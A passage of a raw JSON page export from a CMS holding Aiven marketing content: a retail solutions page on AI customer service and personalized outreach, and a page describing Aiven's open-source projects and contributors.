Easily handle large volume of customer inquiries simultaneously during peak times without compromising on response time or quality."}],"markDefs":[],"style":"normal"},{"_key":"222296decf8b","_type":"block","children":[{"_key":"fa8e2198f11e0","_type":"span","marks":["strong"],"text":"Lower Operational Costs: "},{"_key":"fa8e2198f11e1","_type":"span","marks":[],"text":"Augment existing customer service experience through AI powered customer service agents."}],"markDefs":[],"style":"normal"},{"_key":"253b3602a072","_type":"block","children":[{"_key":"efae3310a1000","_type":"span","marks":["strong"],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"b643a42ff2f2","_type":"block","children":[{"_key":"641f3d388000","_type":"span","marks":[],"text":"Build data pipelines on Aiven for Apache Kafka to upload your enterprise data into Aiven vector databases "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0848094bc13d","_type":"block","children":[{"_key":"a00a9951788b","_type":"span","marks":[],"text":"Create GenAI customer agents that integrate your data with your preferred AI model "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"chatbot","imageHeight":35,"title":"Customer Service Agent"},{"_key":"d8a3b5271b228867a29dd66542fdf1b7","_type":"tabItem","content":[{"_key":"7209509ca88c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-fda167cb0adc3dfbc03deffe1874ceb260d41113-1646x1396-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"lg","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"3c5dac0ae2cb","_type":"block","children":[{"_key":"81ce0a99447d0","_type":"span","marks":[],"text":"Personalize your customer outreach"}],"markDefs":[],"style":"h4"},{"_key":"f32bcc9e2dbc","_type":"block","children":[{"_key":"b0b0824c398f0","_type":"span","marks":["strong"],"text":"Improved Click-Through Rates"},{"_key":"b0b0824c398f1","_type":"span","marks":[],"text":": Customized outreach that resonates with your customers’ interests increases customer engagement and satisfaction."}],"markDefs":[],"style":"normal"},{"_key":"6ad963bae68e","_type":"block","children":[{"_key":"20ba1a3789d10","_type":"span","marks":["strong"],"text":"Scale"},{"_key":"20ba1a3789d11","_type":"span","marks":[],"text":": Effectively scale AI marketing campaigns across your entire customer base making it feasible to maintain personalized communication with everyone."}],"markDefs":[],"style":"normal"},{"_key":"8e294d5aa1dc","_type":"block","children":[{"_key":"38e460e348cc0","_type":"span","marks":["strong"],"text":"Cross-Selling and Upselling"},{"_key":"38e460e348cc1","_type":"span","marks":[],"text":": Identify opportunities for cross-selling and upselling based on customer preferences and past purchases for AI marketing campaigns."}],"markDefs":[],"style":"normal"},{"_key":"b2b5cf453d4b","_type":"block","children":[{"_key":"84fa3a54ee130","_type":"span","marks":[],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"c165d3f32df8","_type":"block","children":[{"_key":"71b35298fded0","_type":"span","marks":[],"text":"Build real-time clickstream ingestion pipelines with Aiven for Apache Kafka to collect user behavior on your website"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7aad6afe7fe1","_type":"block","children":[{"_key":"509c24345abe0","_type":"span","marks":[],"text":"Build email generation pipelines leveraging real-time and historical data stored across Aiven databases to send personalized messages to your customers"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8388931b2b6c","_type":"block","children":[{"_key":"0c94e45a7d7f0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"comms","imageHeight":35,"title":"Customized Communications"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","title":"How does it all work together","topOverlap":false,"variant":"button-toggle"},{"_key":"690f73dedc4c","_type":"testimonial","disabled":false,"fullWidth":false,"items":[{"_key":"2bf0dd7f59e6319bba0feb76ea0aa235","_type":"testimonialItem","company":{"_ref":"77cGJ1NZ9Y7b4XMtjpJjas","_type":"reference"},"content":[{"_key":"c9d0dfe8421f","_type":"block","children":[{"_key":"87612ad8472b","_type":"span","marks":[],"text":"\"Aiven’s solution offers us a unique stack for deploying our database solutions for all cloud providers. This type of collaboration allows us to rely on Aiven’s expertise for some of our applications (especially for databases). We can then focus on the parts of the solutions that differentiate more from the UX of our customers.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-662d4991d0bce63f93b73a123aabf02d65d18997-800x198-jpg","_type":"reference"}},"jobTitle":"Product Owner at Decathlon","name":"Pierre Hilbert"},{"_key":"8e0c8434e136ad57e8ac57ab621fe624","_type":"testimonialItem","company":{"_ref":"727f3f76-3bb5-4b94-a943-59f28858872a","_type":"reference"},"content":[{"_key":"940774a0da75","_type":"block","children":[{"_key":"743c6a4235720","_type":"span","marks":[],"text":"“The team used to have a traditional DBA mentality and was spending up to 90% of the day doing maintenance, patching and upgrades. That’s all handled by Aiven now, freeing up the team to focus on business projects and delivering solutions much faster. We can deploy databases in minutes rather than weeks. Our strategic value in helping La Redoute derive data insights to keep ahead of the competition is recognized by upper management, and I’m proud that our team is growing as a result.”"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-d1fc3335ff566d4c3ca3dc302305f79da1f7996f-1255x1277-png","_type":"reference"}},"jobTitle":"Head of Cloud Transformation","name":"Diogo Gomes"},{"_key":"a524586c111de83c8b77aab019c006a3","_type":"testimonialItem","company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"16a597d0dd1c","_type":"block","children":[{"_key":"02380e3808b4","_type":"span","marks":[],"text":"“We were looking for a technology partner to accompany both our European and global growth as we transform and digitize our processes while innovating the way we interact with our customers. We need a reliable cloud provider that can deliver, scale and support a large variety of services on-demand based.“"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"adeo logo image in light blue","asset":{"_ref":"image-5d603e3dbdd4205272fd6bd44d2bad0511a54721-225x110-svg","_type":"reference"}},"jobTitle":"Head of Databases at Adeo","name":"Julien Charlot"}],"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"title":"Customer spotlight","variant":"logo"},{"_key":"6b2c209fbdc7","_type":"cardList","addSpaceBottom":true,"addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":true,"fullWidth":true,"items":[{"_key":"b5a5e49c3ecb","_type":"cardItem","subtitle":[{"_key":"3e509b25d96b","_type":"block","children":[{"_key":"502126de62cb0","_type":"span","marks":[],"text":"All of Aiven’s plans are easily scalable. You can increase or decrease the storage you need, or the number of processing cores."}],"markDefs":[],"style":"normal"}],"title":"A future-proof solution that grows with your needs.","variant":"default"},{"_key":"303ef6046e41","_type":"cardItem","subtitle":[{"_key":"25e87dd5e25b","_type":"block","children":[{"_key":"ab9240cf51000","_type":"span","marks":[],"text":"You can switch between any of the cloud providers at the push of a button, and spin up regional clusters as your company grows."}],"markDefs":[],"style":"normal"}],"title":"Cloud agnostic","variant":"default"},{"_key":"50645972034b","_type":"cardItem","subtitle":[{"_key":"67cd97b519d2","_type":"block","children":[{"_key":"efe0c9d2302b0","_type":"span","marks":[],"text":"Because everything’s open source, you’re not dependent on the whims of a single tech vendor. The tools you use today will still be open in the future."}],"markDefs":[],"style":"normal"}],"title":"No vendor lock in","variant":"default"},{"_key":"bfc4174947f8","_type":"cardItem","subtitle":[{"_key":"0c879768cbd2","_type":"block","children":[{"_key":"eb0a5814aeda0","_type":"span","marks":[],"text":"With Aiven, open source solutions keep the costs low, and our all-inclusive pricing means you only pay for the servers and storage you need, when you need it – no surprises."}],"markDefs":[],"style":"normal"}],"title":"A flexible pricing structure","variant":"default"},{"_key":"5030ee0427b1","_type":"cardItem","subtitle":[{"_key":"d1ad3bfcf94e","_type":"block","children":[{"_key":"c1d2cad75da80","_type":"span","marks":[],"text":"Increase the load at crunch times, decrease it in off seasons. Switch providers and plans whenever you choose. You have total control."}],"markDefs":[],"style":"normal"}],"title":"Flexible architecture","variant":"default"},{"_key":"391e29dde233","_type":"cardItem","subtitle":[{"_key":"03f583703669","_type":"block","children":[{"_key":"ad74f1d1e2180","_type":"span","marks":[],"text":"Plug into your existing data sources (using Kafka Connect, for example) and add close to real-time analytics on top."}],"markDefs":[],"style":"normal"}],"title":"Easy integration with your systems","variant":"default"},{"_key":"affc273aa962","_type":"cardItem","subtitle":[{"_key":"ab9e5d2e792c","_type":"block","children":[{"_key":"abcc0423a0340","_type":"span","marks":[],"text":"Aiven maintains compliance with all major data regulations, including ISO 27001, SOC 2, GDPR, HIPAA, CCPA, and PCI DSS."}],"markDefs":[],"style":"normal"}],"title":"Extensive security and compliance","variant":"default"},{"_key":"82a74892be6c","_type":"cardItem","subtitle":[{"_key":"670ba57c35fe","_type":"block","children":[{"_key":"a127df7a98520","_type":"span","marks":[],"text":"Aiven’s customers love our world-class support, offered 24/7, 365 days a year."}],"markDefs":[],"style":"normal"}],"title":"Excellent customer support","variant":"default"},{"_key":"b577675ab505","_type":"cardItem","subtitle":[{"_key":"40b110103a97","_type":"block","children":[{"_key":"aa6c6dfec21e0","_type":"span","marks":[],"text":"Our observability platform goes way beyond monitoring to offer metrics, monitoring, logging, analysis and diagnosis, alerting, and troubleshooting — all in one complete package."}],"markDefs":[],"style":"normal"}],"title":"Extensive data monitoring","variant":"default"},{"_key":"9e069c248c0d","_type":"cardItem","subtitle":[{"_key":"5789e1f6afa4","_type":"block","children":[{"_key":"9140b01e0c490","_type":"span","marks":[],"text":"Aiven offers 99.99% uptime, automated backups, and a self-healing platform that automagically fixes issues before human intervention is needed. We also monitor your system 24/7 – so you’ll always have peace of mind for your data."}],"markDefs":[],"style":"normal"}],"title":"High availability and disaster recovery","variant":"default"},{"_key":"ee1e9c14d65e","_type":"cardItem","subtitle":[{"_key":"fafc9741dbad","_type":"block","children":[{"_key":"65d38e253f3c0","_type":"span","marks":[],"text":"Aiven’s portfolio of services range from PostgreSQL® (the world’s leading open source relational database, powering eCommerce all over the world) to M3 (a cutting edge time series database developed by Uber), and everything in between including Apache Kafka®, OpenSearch®, MySQL, Redis™*, and Grafana®. There’s more than enough to cater for every scale of business – and you can pick and mix from all of the services in any combination."}],"markDefs":[],"style":"normal"}],"title":"A large range of products to meet your needs as you grow","variant":"default"}],"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"subtitle":[{"_key":"28c8930fa405","_type":"block","children":[{"_key":"fe3e078d78420","_type":"span","marks":[],"text":"We know that no two businesses are alike—which is why we offer a highly-flexible range of solutions that can be easily combined and integrated with your existing systems. You can create exactly the data architecture you need today, and rest assured that as your business needs grow, you’ll be able scale up tomorrow."}],"markDefs":[],"style":"normal"}],"title":"Why Aiven’s retail solutions are trusted by global brands"},{"_key":"77045f7c9531","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book Your Retail Transformation"},"roundedCorners":"rounded-t","subtitle":[{"_key":"3a1632dccc94","_type":"block","children":[{"_key":"bfdbd055033d0","_type":"span","marks":[],"text":"Moving your data infrastructure to Aiven’s cloud-based service increases both speed through reduced latency and flexibility of your business to keep customers happy. With Aiven, you can scale up during peak seasons, and back down again as needed with zero data downtime."}],"markDefs":[],"style":"normal"}],"title":"The cloud data advantage","variant":"centerColumn"}],"internalTags":[{"_key":"da5e458c094d","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"isSimplifiedNav":true,"seo":{"_type":"metaData","canonicalUrl":"/solutions/aiven-for-retail","excludeFromSitemap":true,"metaDescription":"Retail comes in many shapes and sizes – from brick and mortar stores to global eCommerce. Aiven’s flexible solutions can adapt to suit any situation and budget.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-0690269c91d7b71008cff959120fbbc8bd4ed885-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Retail Solutions | For any budget | Find out more"},"slug":{"_type":"slug","current":"/solutions/aiven-for-retail-v1"},"title":"Aiven for Retail - Opt for BOFU Conversion"} {"__i18n_lang":"en","_createdAt":"2022-09-07T20:43:32Z","_id":"227fce02-f6f1-4e82-a166-820dac2c21f5","_rev":"9KXJIj517MDuzut1TdQuCj","_type":"page","_updatedAt":"2024-10-28T10:57:05Z","content":[{"_key":"db139fc8fe05","_type":"hero","addSpaceBottom":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"5dce5a28e531","_type":"block","children":[{"_key":"10c34c46da850","_type":"span","marks":[],"text":"At Aiven, open source is at the core of everything we do – from our culture of open-mindedness, to our desire to contribute and keep giving back to the world."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","alt":"Hands form a heart shape, illustrating Aiven's love for open source","asset":{"_ref":"image-084ab7efa85507bd4557c796a5a8f2ecbbf51560-1200x1070-png","_type":"reference"}},"imageSize":"small","isImageLarge":false,"rounded":false,"tagline":"Open source","title":"Aiven and the open source community","variant":"default"},{"_key":"0abdeb5f3355","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Open source at Aiven – a woman sits happily coding","asset":{"_ref":"image-9d824621b37aa6002de37822f5ab31cae6cb57fe-1667x1146-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Vision and mission","text":[{"_key":"61477abc77d6","_type":"block","children":[{"_key":"8988409b57c70","_type":"span","marks":[],"text":"Aiven is founded – and grounded – in open source. While we make open source technology easy to implement, we want to be much more than just a consumer of open source code and a provider of open source services."}],"markDefs":[],"style":"normal"},{"_key":"91ec8048c072","_type":"block","children":[{"_key":"9342bafd0bde","_type":"span","marks":[],"text":"We give back to the open source community by actively contributing to all areas that touch the professional lives of open source creators and maintainers. We also foster the community by keeping open source truly open, ensuring the best open source data technology always remains available to everyone."}],"markDefs":[],"style":"normal"},{"_key":"32ad131dabff","_type":"block","children":[{"_key":"260f8b192fdc","_type":"span","marks":[],"text":"At Aiven, we wear our open source hearts on our sleeves."}],"markDefs":[],"style":"normal"}],"title":"Open source from the heart","variant":"mediaLeft"},{"_key":"86de8bcd752a","_type":"testimonial","disabled":false,"fullWidth":false,"items":[{"_key":"e8fcb5003b91","_type":"testimonialItem","content":[{"_key":"4130b1e0bdd1","_type":"block","children":[{"_key":"4d541b26fc23","_type":"span","marks":[],"text":"\"One important part of open source is perhaps not only the code itself but also sharing information and what kind of business problems it helps to solve\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-09d49251e245afe42d59294660b004c0fd9e2d0b-1920x1080-jpg","_type":"reference"}},"jobTitle":"Field CTO, Aiven","name":"Heikki Nousiainen"}],"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"variant":"media"},{"_key":"8d1082de0207","_type":"iconList","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"fcbadb39ff8e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b1708fdf0816cb3f4d63d9b7509a26d08a9accdb-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"0d3c64e18696","_type":"block","children":[{"_key":"cc929c047a890","_type":"span","marks":[],"text":"We aim to help make open source projects better – and not just for us. Openness benefits everyone."}],"markDefs":[],"style":"normal"}],"title":"Community first"},{"_key":"1e457205c7fd","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0b94cf0d821bb1800ef640bd1e8458b2c43c8218-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"bbebda112f8e","_type":"block","children":[{"_key":"c263f2384a600","_type":"span","marks":[],"text":"We’re constructive contributors and celebrate the diversity and independence of the open source community."}],"markDefs":[],"style":"normal"}],"title":"Contributing equally"},{"_key":"82278b0a1dfe","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"4a6bc47c7296","_type":"block","children":[{"_key":"1bd8bc82ea880","_type":"span","marks":[],"text":"We have no hidden agendas, and ensure projects don’t depend on one organization or individual for their survival."}],"markDefs":[],"style":"normal"}],"title":"Transparent freedom"},{"_key":"58410017aab9","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-6390718f0f0f1312203b807186b5dad5da4a80be-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"24a074b767ce","_type":"block","children":[{"_key":"a447d5eff0e40","_type":"span","marks":[],"text":"As well as relieving the burden on maintainers, we also work on documentation, reviews and knowledge sharing."}],"markDefs":[],"style":"normal"}],"title":"Sharing is caring"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"d71eb31d36c4","_type":"block","children":[{"_key":"cc8697897fa00","_type":"span","marks":[],"text":"We want to ensure the future of open source software – the bedrock that global data infrastructure is built upon."}],"markDefs":[],"style":"normal"},{"_key":"f418685c1518","_type":"block","children":[{"_key":"71f92014cd47","_type":"span","marks":[],"text":"We make sure that critical code and software is actively and sustainably maintained. This applies to both the actual OSS projects that Aiven directly uses and contributes to and to the entire OSS ecosystem."}],"markDefs":[],"style":"normal"}],"tagline":"Giving back","title":"Building open source security and sustainability","variant":"header-left"},{"_key":"83ee802ee5e8","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"210ce22a7d3f","_type":"block","children":[{"_key":"3bfe19b1ab370","_type":"span","marks":[],"text":"Aiven owns and maintains multiple open source projects – here are a few of our main repos and other projects we help maintain."}],"markDefs":[],"style":"normal"},{"_key":"0185f77dfffc","_type":"block","children":[{"_key":"6cfd7d1ad81b0","_type":"span","marks":[],"text":"We welcome contributions to all our projects. You can find links to the GitHub repos in the project list below, or check out the rest of "},{"_key":"6cfd7d1ad81b1","_type":"span","marks":["fbb4816a9300"],"text":"Aiven’s projects on GitHub"},{"_key":"6cfd7d1ad81b2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"fbb4816a9300","_type":"link","href":"https://github.com/aiven-open"}],"style":"normal"}],"tagline":"Aiven contributions","title":"Open Source Projects","variant":"centerColumn"},{"_key":"63a99d2e46c80433d6d5be012dd93965","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"items":[{"_key":"619a10ce0be0","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://github.com/aiven-open/pghoard","title":"Contribute on GitHub"},"subtitle":[{"_key":"8bb398f71445","_type":"block","children":[{"_key":"367b217413f60","_type":"span","marks":[],"text":"PGHoard is a python-based backup daemon and restore tooling for PostgreSQL. It uses cloud object stores to store the backup data. We use this tool in our own setup and it is also relied upon by others."}],"markDefs":[],"style":"normal"},{"_key":"834f2e52b513","_type":"block","children":[{"_key":"89afa27517280","_type":"span","marks":[],"text":"We also have a sister project to PGHoard called "},{"_key":"89afa27517281","_type":"span","marks":["c74d0496fce9"],"text":"MyHoard"},{"_key":"89afa27517282","_type":"span","marks":[],"text":" which offers similar functionality for MySQL."}],"markDefs":[{"_key":"c74d0496fce9","_type":"link","href":"https://github.com/aiven-open/myhoard"}],"style":"normal"}],"tagline":"PostgreSQL®","title":"PGHoard","variant":"default"},{"_key":"7e42d975f40d","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://github.com/aiven-open/karapace","title":"Contribute on GitHub"},"subtitle":[{"_key":"3da0a9ba7491","_type":"block","children":[{"_key":"32be291d01500","_type":"span","marks":["e06bb2713644"],"text":"Karapace"},{"_key":"22b6af57bba4","_type":"span","marks":[],"text":" is the companion to Apache Kafka®, offering some excellent add-ons to give Apache Kafka even more powerful features. Included in the box: a Kafka Rest Proxy (both client and server side), and schema storage and registry functionality."}],"markDefs":[{"_key":"e06bb2713644","_type":"link","href":"https://karapace.io/"}],"style":"normal"}],"tagline":"Apache Kafka®","title":"Karapace","variant":"default"},{"_key":"e144e0a0d4a098cfc8dc9d22f9c3ac4d","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://github.com/aiven-open/klaw","title":"Contribute on GitHub"},"subtitle":[{"_key":"3da0a9ba7491","_type":"block","children":[{"_key":"32be291d01500","_type":"span","marks":[],"text":"Klaw, the latest OS tool by Aiven, helps enterprises cope with Apache Kafka® topics, schema registry and connectors governance by introducing roles / authorizations to users of various teams of an organization."}],"markDefs":[],"style":"normal"}],"tagline":"Apache Kafka®","title":"Klaw","variant":"default"},{"_key":"b2058554eae6","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://github.com/aiven/terraform-provider-aiven","title":"Contribute on GitHub"},"subtitle":[{"_key":"13e088a8e4d8","_type":"block","children":[{"_key":"7e02889f34080","_type":"span","marks":[],"text":"We know that many teams are using the Aiven platform with terraform, so this handy provider allows you to manage all your Aiven resources this way. We encourage you to give it a try and let us know how it fits your needs, we're always working to improve the tools you use to integrate with our platform."}],"markDefs":[],"style":"normal"}],"tagline":"Terraform","title":"Terraform Provider","variant":"default"}],"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"4cd7060ae90b","_type":"block","children":[{"_key":"b2bf8607004a2","_type":"span","marks":[],"text":"Projects we own"}],"markDefs":[],"style":"h4"}]},{"_key":"0661112c504372241f9acd2b6d226571","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"items":[{"_key":"619a10ce0be0","_type":"cardItem","subtitle":[{"_key":"11281535a647","_type":"block","children":[{"_key":"15dabe528c0d0","_type":"span","marks":["ea5a77d3798a"],"text":"Apache Kafka"},{"_key":"8e8e7d1f350b","_type":"span","marks":[],"text":"® is a powerful open source event streaming tool for those needing to collect, process, store and analyze data."}],"markDefs":[{"_key":"ea5a77d3798a","_type":"link","href":"https://aiven.io/blog/what-is-apache-kafka"}],"style":"normal"},{"_key":"a6f9748f3cfd","_type":"block","children":[{"_key":"9d0e88ab6f5a0","_type":"span","marks":[],"text":"Aiven’s OSPO team has developers dedicated to contributing to the Apache Kafka® community in different areas (mainly around "},{"_key":"697d3df33d05","_type":"span","marks":["06911ddb9a2c"],"text":"Apache Kafka Connect"},{"_key":"a3e3a0bd7604","_type":"span","marks":[],"text":"), including a committer on the project."}],"markDefs":[{"_key":"06911ddb9a2c","_type":"link","href":"https://aiven.io/kafka-connect"}],"style":"normal"}],"title":"Apache Kafka®","variant":"default"},{"_key":"7e42d975f40d","_type":"cardItem","subtitle":[{"_key":"3da0a9ba7491","_type":"block","children":[{"_key":"1f3db6e399d3","_type":"span","marks":["010290ed264a"],"text":"PostgreSQL®"},{"_key":"b3b1ad529b8d","_type":"span","marks":[],"text":" – an open source object-relational database system with over 35 years of active development – has a strong reputation for reliability, feature robustness, and performance."}],"markDefs":[{"_key":"010290ed264a","_type":"link","href":"https://www.postgresql.org/"}],"style":"normal"},{"_key":"2b1635c0a867","_type":"block","children":[{"_key":"0165e4da9193","_type":"span","marks":[],"text":"Aiven’s OSPO team has dedicated developers who are long time contributors to the PostgreSQL®"},{"_key":"513f660194bd1","_type":"span","marks":["strong"],"text":" "},{"_key":"513f660194bd2","_type":"span","marks":[],"text":"community."}],"markDefs":[],"style":"normal"}],"title":"PostgreSQL®","variant":"default"},{"_key":"e144e0a0d4a098cfc8dc9d22f9c3ac4d","_type":"cardItem","subtitle":[{"_key":"50a2b75bb684","_type":"block","children":[{"_key":"4306315786080","_type":"span","marks":["871d8ba42548"],"text":"Apache Flink®"},{"_key":"4306315786081","_type":"span","marks":[],"text":" is a framework and distributed processing engine for stateful computations over unbounded and bounded data streams."}],"markDefs":[{"_key":"871d8ba42548","_type":"link","href":"https://flink.apache.org/"}],"style":"normal"},{"_key":"6319d212fb95","_type":"block","children":[{"_key":"de27d24b4a14","_type":"span","marks":[],"text":"Aiven’s OSPO team has developers dedicated to contributing to the Apache Flink"},{"_key":"2826344f67181","_type":"span","marks":["strong"],"text":"® "},{"_key":"2826344f67182","_type":"span","marks":[],"text":"community in different areas, including a committer on the project."}],"markDefs":[],"style":"normal"}],"title":"Apache Flink®","variant":"default"},{"_key":"b2058554eae6","_type":"cardItem","subtitle":[{"_key":"31763e48cac9","_type":"block","children":[{"_key":"34599c93ce0e0","_type":"span","marks":["fa0bf9f24f58"],"text":"OpenSearch®"},{"_key":"34599c93ce0e1","_type":"span","marks":[],"text":" is a community-driven, Apache 2.0-licensed open source search and analytics suite forked from Elasticsearch. OpenSearch makes it easy to ingest, search, visualize, and analyze data."}],"markDefs":[{"_key":"fa0bf9f24f58","_type":"link","href":"https://opensearch.org/"}],"style":"normal"},{"_key":"17d7eede532f","_type":"block","children":[{"_key":"109a7124c47d","_type":"span","marks":[],"text":"Aiven’s OSPO team has dedicated developers who are long time contributors to the OpenSearch®"},{"_key":"276ea118afe41","_type":"span","marks":["strong"],"text":" "},{"_key":"276ea118afe42","_type":"span","marks":[],"text":"community, including a committer on the project."}],"markDefs":[],"style":"normal"}],"title":"OpenSearch®","variant":"default"}],"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"b85c55be03bd","_type":"block","children":[{"_key":"981f6f60f0e50","_type":"span","marks":[],"text":"Projects we contribute to"}],"markDefs":[],"style":"h4"}]},{"_key":"ea5dd35b90b2","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"backgroundPosition":"center center","darkTheme":true,"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Hands connect giant jigsaw pieces, working together on open source solutions","asset":{"_ref":"image-fdb4408bf15185c1b32ad4aa41f8295189805a8b-1354x1354-png","_type":"reference"}},"imagePosition":"center","narrowImage":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"bddb4fef-dc21-4a58-8821-2d8dd3147ca1","_type":"reference"},"title":"Read about OSPO"},"tagline":"How we contribute","text":[{"_key":"6bcc16cd2b03","_type":"block","children":[{"_key":"97db6129a9f90","_type":"span","marks":[],"text":"At Aiven, we want to contribute back to the open source community. That’s why we created our Open Source Program Office (OSPO) – so we have a dedicated team to focus on this cause."}],"markDefs":[],"style":"normal"},{"_key":"c642aa5b6a06","_type":"block","children":[{"_key":"b86ad515d3b5","_type":"span","marks":[],"text":"The Aiven OSPO makes sure that the projects we offer as managed services are well maintained. We not only take care of Aiven's OSS projects, we also keep a watchful eye on all open source projects that impact Aiven, actively collaborating with external contributors."}],"markDefs":[],"style":"normal"}],"title":"Open Source Program Office","variant":"mediaLeft"},{"_key":"8a4934968536","_type":"testimonial","disabled":false,"fullWidth":false,"items":[{"_key":"d1a25bb826bd","_type":"testimonialItem","content":[{"_key":"c34ccbfa1d16","_type":"block","children":[{"_key":"84101db1643b0","_type":"span","marks":[],"text":"Roman is a Software Engineer at Aiven with a strong open source background, in fact GitHub is where we recruited him from! He has made contributions to SaltStack and "},{"_key":"84101db1643b3","_type":"span","marks":["61938cb291ab"],"text":"KDE"},{"_key":"84101db1643b4","_type":"span","marks":[],"text":", and is active with a programming language called "},{"_key":"84101db1643b5","_type":"span","marks":["063799a0f8c1"],"text":"Nim"},{"_key":"84101db1643b6","_type":"span","marks":[],"text":". Nim has a python-like syntax, compiles to static binaries, and has great performance BUT when Roman first used it, he found it was missing some key features such as symlink support.... so he added those while he was there."}],"markDefs":[{"_key":"61938cb291ab","_type":"link","href":"https://kde.org/"},{"_key":"063799a0f8c1","_type":"link","href":"https://nim-lang.org/"}],"style":"normal"},{"_key":"e53dffe83ae3","_type":"block","children":[{"_key":"8c5a2f214ab10","_type":"span","marks":[],"text":"Roman says \""},{"_key":"8c5a2f214ab11","_type":"span","marks":["em"],"text":"I try to benefit society in the best way I can, and since my main skill is coding, I use that to help others in my spare time"},{"_key":"8c5a2f214ab12","_type":"span","marks":[],"text":"\"."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://github.com/rominf","title":"rominf on GitHub"},"image":{"_type":"mainImage","asset":{"_ref":"image-c5a6d3545fa1d41af919095c73e9d5bb00e06c12-860x860-jpg","_type":"reference"}},"jobTitle":"Software Engineer, Aiven","name":"Roman Inflianskas","tagline":"rominf"},{"_key":"39fb668e52ab","_type":"testimonialItem","content":[{"_key":"ad7a10c45ad5","_type":"block","children":[{"_key":"d3c410d07eaf0","_type":"span","marks":[],"text":"“My first interaction with OSS was when I was learning to code. The guides were open source so when I got stuck, but was able to work through it, I could edit the guide and make sure the next person would get stuck like I did. That sold me on it, there could be no other way of working for me than in the public.”"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://github.com/FloorD","title":"FloorD on 